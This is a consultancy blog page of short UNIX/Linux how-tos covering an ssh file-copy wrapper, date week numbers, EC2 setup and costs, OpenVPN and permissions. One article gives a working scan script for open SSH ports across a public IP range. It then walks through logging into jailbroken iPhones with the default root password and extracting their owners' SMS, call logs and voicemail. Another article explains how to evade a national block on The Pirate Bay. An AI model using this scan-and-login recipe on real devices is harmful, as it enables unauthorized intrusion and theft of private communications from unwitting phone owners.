Me in IT UNIX/Linux Consultancy is based in Utrecht, The Netherlands and specialized in UNIX and Linux consultancy. Experience with Red Hat Enterprise Linux (Red Hat Certified Architect), Fedora Project, CentOS, OpenBSD and related released Open Source products makes Me in IT UNIX/Linux Consultancy a great partner in implementing, maintaining and upgrading your environment.
Open Source software is an important aspect of any Linux distribution. Me in IT UNIX/Linux Consultancy tries to use Open Source software where possible and tries to share experiences actively. In the articles section you will find many UNIX/Linux adventures shared for others to benefit.
Using the program SCP is not needed, use this scipt to use SSH for transferring files:
$ ssh user@machine "cat /remote/file" > /local/fileTo use this trick in a shell script-wrapper:
$ cat ssh-scp.sh
#!/bin/sh -x
host=$(echo "$1" | cut -d@ -f2 | cut -d: -f1)
user=$(echo "$1" | cut -d@ -f1)
remotefile=$(echo "$1" | cut -d: -f2)
localfile="$2"
if [ ! "$host" -o ! "$user" -o ! "$remotefile" -o ! "$localfile ] ; then
echo "Please use all requires options, for example:"
echo "$0 user@host:./file ."
exit 1
fi
ssh $host "cat $remotefile" > $localfile
$ chmod 755 ssh-scp.shNow "replace" the normal SCP by using an alias:
$ alias scp="~/ssh-scp.sh"One flaw of this script is that all options will have to be configured statically in .ssh/config.
A jail broken Apple iPhone with OpenSSH installed is accessible over the internet using ssh and the default root password "alpine".
You can use a short script to find IP addresses that have port 22 open and try to login. You can run this script from your Mac or any Linux machine.
#!/bin/sh
fourth=1
third=0
mkdir -p /tmp/scan-iphones/open
mkdir /tmp/scan-iphones/closed
while [ "$third" -lt 192 ] ; do
while [ "$fourth" -lt 255 ] ; do
if [ ! -f /tmp/scan-iphones/94.157."$third"."$fourth" ] ; then
if [ ! -f /tmp/scan-iphones/open/94.157."$third"."$fourth" ] ; then
if [ ! -f /tmp/scan-iphones/closed/94.157."$third"."$fourth" ] ; then
if [ -f /tmp/scan-iphones/stop ] ; then
echo "Stopping because /tmp/scan-iphone/stop exists."
exit 1
fi
touch /tmp/scan-iphones/94.157."$third"."$fourth"
nc -w 1 -z 94.157."$third"."$fourth" 22-22 > /dev/null 2>&1 && touch /tmp/scan-iphones/open/94.157."$third"."$fourth" || touch /tmp/scan-iphones/closed/94.157."$third"."$fourth"
rm /tmp/scan-iphones/94.157."$third"."$fourth"
fi
fi
fi
fourth=$(($fourth+1))
done
fourth=1
third=$(($third+1))
donetouch /tmp/scan-iphones/stop.
Now that you have IP addresses where you can login, use one of these "features":
From your Mac or any Linux machine, type:
$ ssh root@IP-ADDRESS-OF-IPHONE
# sqlite3 /private/var/mobile/Library/SMS/sms.db
SELECT * FROM message;From your Mac or any Linux machine, type:
$ ssh root@IP-ADDRESS-OF-IPHONE
# sqlite3 /private/var/mobile/Library/CallHistory/call_history.db
SELECT * FROM call;From your Mac or any Linux machine, type:
$ scp root@IP-ADDRESS-OF-IPHONE:/private/var/mobile/Library/Voicemail/*.amr .To secure your iPhone, you can use one or more of these measures:
# passwd.# passwd mobile.launchctl load -w /Library/LaunchDaemons/com.openssh.sshd.plist./private/etc/ssh/sshd_config.I hate it when people use week numbers, like "week 34". Week numbers are mostly not printed on any calendar or schedule. So; here is how to convert a date to a week number and a weeknumber to a date.
This is an easy one, because the man page of date simply explains: %U - Displays week of the year(Sunday as the first day of the week) as a decimal number[00 - 53] . All days in a new year preceding the first Sunday are considered to be in week 0.
$ date +'%U'
06A little harder, that why you don't have to figure it out yourself, just copy-paste and replace to meet your requirements:
$ date +'%U' 2009-10-2
39This is not an easy one and requires a very nasty trick. To get a day in week 23 for example, use this command:
$ date --date="$(((23-$(date +'%U'))*7)) days"
Mon Jun 8 12:11:40 WEDT 2009We all love The Pirate Bay, I guess the Danish people do too.
Now that The Pirate Bay is blocked for Danish people, here is a recipe for connecting to The Pirate Bay after all.
UPDATE: Simply visit The Pirate Bay through Me in IT Consultancy.
1. Use a web-proxy in some other country.
This is a very simple trick. Go to either Proxify, Zend2, or any other anonymous proxy and enter http://thepiratebay.org/.
2. Use a proxy in some other country.
Find yourself an open proxy in any country but Denmark.
This trick is a little harder, because it's not very easy to find a working open proxy and the proxies that are open tend to be shutdown or closed sooner or later.
3. Setup an SSH-tunnel via some other country.
This is an even more difficult trick, but works rather stable. It requires your to have access to a Linux or UNIX box somewhere outside Denmark.
Using OpenSSH:
$ ssh -L 8080:thepiratebay.org:80 machine-in-other-country.example.com
When that's successful; visit http://localhost:8080 from your web browser.
Using Putty:
When that's successful; visit http://localhost:8080 from your web browser.
Good luck on you!
It's been one month (23 days) since I move to Amazons EC2, aka Amazon Cloud, aka AWS. Overall I am very pleased with the performance of my instance, which I use as a webserver. Also the extra volumes perform great. It's been up for 100% in Januari 2009.
Here are some numbers so you can get an estimate of what Amazon EC2 cost:
| $0.11 per Small Instance (m1.small) instance-hour (or partial hour) | 537 Hrs | $59.07 |
| $0.100 per GB Internet Data Transfer - all data transfer into Amazon EC2 | 22.554 GB | $2.26 |
| $0.170 per GB Internet Data Transfer - first 10 TB / month data transfer out of Amazon EC2 | 32.379 GB | $5.50 |
| $0.010 per GB Regional Data Transfer - in/out between Availability Zones or when using public IP or Elastic IP addresses | 0.023 GB | $0.01 |
| $0.12 per GB-month of provisioned storage | 23.073 Count | $2.77 |
| $0.11 per 1 million I/O requests | 4,398,873 Count | $0.48 |
| Total | $70.09 |
Overall I'd recommend Amazon EC2, but it's a little more expensive than an average Private Hosting plan, but this setup is more scalable.
As a freelancer in Dutch IT, you will almost always use a contracting company. This company makes an initial contact with the end-customer and receives and pays your invoices.
When you are in contact with a new contracting company, you can check IT Bemiddelaars to see what a company has done before, compare rates and cost.
When you would like to review an "IT bemiddelaar", please go to IT Bemiddelaars to enter the information you'd like to share.
Besides the extensive OpenVPN documentation I couldn't really find a step by step guide on how to setup an OpenVPN server and client.
I want to be able to connect my Fedora Core 10 laptop to the home-network via a Fedora Core 10 server.
The server is 192.168.0.1, running Fedora Core 10 with openvpn 2.1. Newer versions are likely to work as well.
The laptop has a dynamic IP address.
Please read the OpenVPN documentation if you run into troubles.
First setup the Certificate Authority keys.
cd /usr/share/openvpn/easy-rsa/2.0/
vi vars
# Fill KEY_COUNTRY, KEY_PROVINCE, KEY_CITY, KEY_ORG, and KEY_EMAIL, all at the bottom.
. ./vars
./clean-all
./build-ca
# Press "enter" on each item.Now setup the Server key and the Diffie Hellman key.
./build-key-server server
# Press enter on each item.
./build-dhAnd build the client keys, each client needs its own key, with a unique Common Name. The IP address assigned to the client is related to the Common Name, so if you use non-unique Common Names, you will have conflicting IP addresses.
./build-key client1
./build-key client2
./build-key client3
mv keys /etc/openvpncp /usr/share/doc/openvpn-2.1/sample-config-files/roadwarrior-server.conf /etc/openvpn/server.conf
vi /etc/openvpn/server.conf
# Check the ca, cert, key and dh variables.Start the server by issuing:
chkconfig openvpn on
service openvpn startMove the ca.cert, client1.crt and client1.key to the client, in /etc/openvpn/keys and copy the configuration. You will need to modify the client.conf a little bit.
/usr/share/doc/openvpn-2.1/sample-config-files/roadwarrior-client.conf /etc/openvpn/client.conf
vi /etc/openvpn/client.conf
# Find "remote" and set it to the internet address of your VPN server.Start the client:
chkconfig openvpn on
service openvpn startOn both server and client issue ifconfig tun0 to see what IP-address is assigned to the entry of the tunnel. From the either end of the tunnel you should be able to ping the other end. Also tcpdump -n -i tun0 should work.
Hope this works for you as well, check out /var/log/messages for information. /etc/init.d/openvpn status dump a status of all connected clients to /var/log/messages.
It's very difficult to get grip on the estimates price of a "simple" LAMP server. Here are some numbers to help you get an accurate estimate of a LAMP server.
So as a conclusion: One average webserver costs around $ 120,- (with tax) per month to run on the EC2. There are cheaper solutions to host your website(s), but Amazon EC2 provides the option to add a machine in a couple of minutes or even automated. This flexibility is not found in many other products.
While experimenting with Amazons interpretation of cloud computing, here is what I did to create persistent storage, create an instance and attach the storage to the instance.
Go to Amazons developer section and download, unpack and install the files. Now edit ~/.bashrc (or any other file that is executed at login) and add this:
export EC2_HOME=~/.ec2
export PATH=$PATH:$EC2_HOME/bin
export EC2_PRIVATE_KEY=$(ls $EC2_HOME/pk-*.pem)
export EC2_CERT=$(ls $EC2_HOME/cert-*.pem)
export JAVA_HOME=/System/Library/Frameworks/JavaVM.framework/Home/
export EC2_URL=https://eu-west-1.ec2.amazonaws.comec2-describe-regions.
Check out the wonderful section on Paul Stamatiou's website at "Getting Started". It describes how to create and use the keys.
You will have to authorize access from the internet to port 22 and 80, or any other. Here is how it's done:
ec2-authorize default -p 22
ec2-authorize default -p 80default refers to all machines unless specified differently.An instance can be seen as an individual machine. It's virtual, but who cares about that? I use the image "ami-2a0f275e", but see other images can be used as well. Use ec2-describe-images -o amazon to get a list of available images owned (-o) by amazon.
ec2-run-instances -z eu-west-1a -k ec2-keypair ami-2a0f275eec2-describe-availability-zones.To allocate some space on the S3 infrastructure of Amazon, use this command:
ec2-create-volume -s 1 -z eu-west-1aWhen the volume is created; assign it to an instance with this command:
ec2-attach-volume vol-38a24751 -i i-c2f2c5b6 -d sdbec2-describe-volumes to get a list of available volumes.ec2-describe-instances to get a list of available instances.dmesg to see if attaching has worked. This is the ouput I got:dmesg | tail -n 1
sdb: unknown partition tableLogin to your machine using SSH:
ssh -i .ec2-keypair root@MACHINEdescribe-instances.Host *.compute.amazonaws.com
IdentityFile ~/.ec2/ec2-keypair
User rootNow that you are ready, login and type:
mkfs.ext3 /dev/sdbMount the volume (once) by issuing:
mount /dev/sdb /mntYou can continue to use the instance with this "static" IP, but to associate one IP with this instance, follow these steps. First register an IP:
ec2-allocate-addressNow link the IP with an instance.
ec2-associate-address 79.125.5.49 -i i-0ca09678The Amazon elastic compute cloud and S3 facilities work great, I'm not sure about the availability of EC2, not about S3, but Amazon states that S3 should be more "secure" then storing stuff in the local storage of the instance.
Permissions in Linux (or UNIX) can be difficult to understand. Here is a step-plan to determine the right combination of permissions.
Either read in the "Explanation" field in the table below what you want to do, or do ls -l and see what it means. Each object (file, directory, sockets, device, etc) has 10 positions to indicate what's possible with the object. For example you could see -rwxr-x---. You can split the 10 positions up into these parts:
| Numeric | Readable | Explanation |
| 0 | --- | No access. |
| 1 | --x | Execute access.* |
| 2 | -w- | Write access.** |
| 3 | -wx | Write and execute access.*** |
| 4 | r-- | Read access. |
| 5 | r-x | Read and execute access. |
| 6 | rw- | Read and write access. |
| 7 | rwx | Read, write and execute access. |
*= This is an odd combination, executing something that's not readable is not possible.
**= A strange combination; writing when you are not able to read.
***= This is an weird combination, you can't execute when you can't read the file, though you may write the file.
There are some special permission sets. When you see an "s" or an "S" on the location where you'd expect an "x", this means:
chmod 4755 object.chmod 4650 object.chmod 2775 object. This bit on a directory means all files in that directory that will be created, will be owned by the group that owns the directory.chmod 2745 object.| About | Consultancy | Articles | Contact |
|
|
|
|
|
| References | Red Hat Certified Architect | By Robert de Bock | Robert de Bock |
| Curriculum Vitae | By Fred Clausen | +31 6 14 39 58 72 | |
| By Nelson Manning | robert@meinit.nl |